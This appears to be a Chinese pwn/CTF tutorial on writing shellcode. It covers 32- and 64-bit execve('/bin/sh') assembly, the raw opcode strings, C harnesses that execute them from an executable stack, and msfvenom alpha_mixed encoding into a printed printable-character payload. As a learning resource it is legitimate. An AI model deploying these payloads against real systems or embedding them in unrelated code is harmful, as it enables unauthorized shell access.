Pwn shellcode学习

NASM安装

NASM官网下载nasm-2.15.05.tar.gz

1
2
3
4
5
tar zxvf nasm-2.15.05.tar.gz
cd nasm-2.15.05.tar.gz
./configure
make
sudo make install

安装完成后就可以在linux中编译asm文件了。

用汇编编写简单的shellcode

32位shellcode

1
2
3
4
5
6
7
8
9
10
11
12
global _start
section .text

_start:
xor ecx,ecx
mul ecx
mov al,11
push ecx
push 0x68732f2f ;"//sh"
push 0x6e69622f;"/bin"
mov ebx,esp
int 0x80

这串汇编指令相当于execve(“/bin/sh”)编写完成后编译。

1
2
3
nasm -f elf32 shellcode_x86.asm
ld -m elf_i386 shellcode_x86.o -o shellcode_x86
./shellcode_x86

在这里插入图片描述

可以看到已经得到权限。

将文件放入ida,hex view查看代码段
在这里插入图片描述
可以看到绿色这段就是我们要的代码段
将它复制,放入C语言程序

1
2
3
4
int main(){
char shellcode[] = "\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80";
(*(void (*) () )shellcode)();
}

使用

gcc -m32 -z execstack shellcode_x86.c -o shellcode_x86_c

运行C编译文件
在这里插入图片描述
可以看到这个C程序也获得了shell。
为什么这个C程序也能获得shell呢?因为我们在shellcode这个字符串变量里放入了之前汇编编译的机器码。
如果将shellcode这个字符串当做函数指针执行的话,相当于在汇编层面call了shellcode这个函数,执行汇编指令,从而获取shell。

64位shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
global _start
section .text

_start:
xor rdx,rdx
mov qword rbx,'//bin/sh'
shr rbx,0x8
push rbx
mov rdi,rsp
push rax
xor rsi,rsi
mov al,0x3b
syscall
1
2
nasm -f elf64 shellcode64.asm 
ld -m elf_x86_64 shellcode64.o -o shellcode64
1
2
3
4
int main(){
char shellcode[] = "\x48\x31\xD2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x50\x48\x31\xf6\xB0\x3B\x0F\x05";
(*(void (*) () )shellcode)();
}

在这里插入图片描述

可见字符shellcode

安装msf

metasploit-framework_6.0.49+20210611102634~1rapid7-1_amd64.deb
将文件放入linux系统

sudo dpkg -i metasploit-framework_6.0.49+20210611102634~1rapid7-1_amd64.deb

解包后直接输入

msfvenom -l encoders

第一次安装完可能会申请装个database什么的,让它装就行。
然后就能看到shellcode编码类型
在这里插入图片描述
我们选择x86/alpha_mixed
然后使用这个指令

1
python3 -c 'import sys; sys.stdout.write("\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

他就会把编译结果放到当前目录的payload文件里

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJITqHCoyXCMgKsY1XBX0fkbq3XdoFOt3E8axtoCRqyrNiRmY8CnCXCLMzbMPAA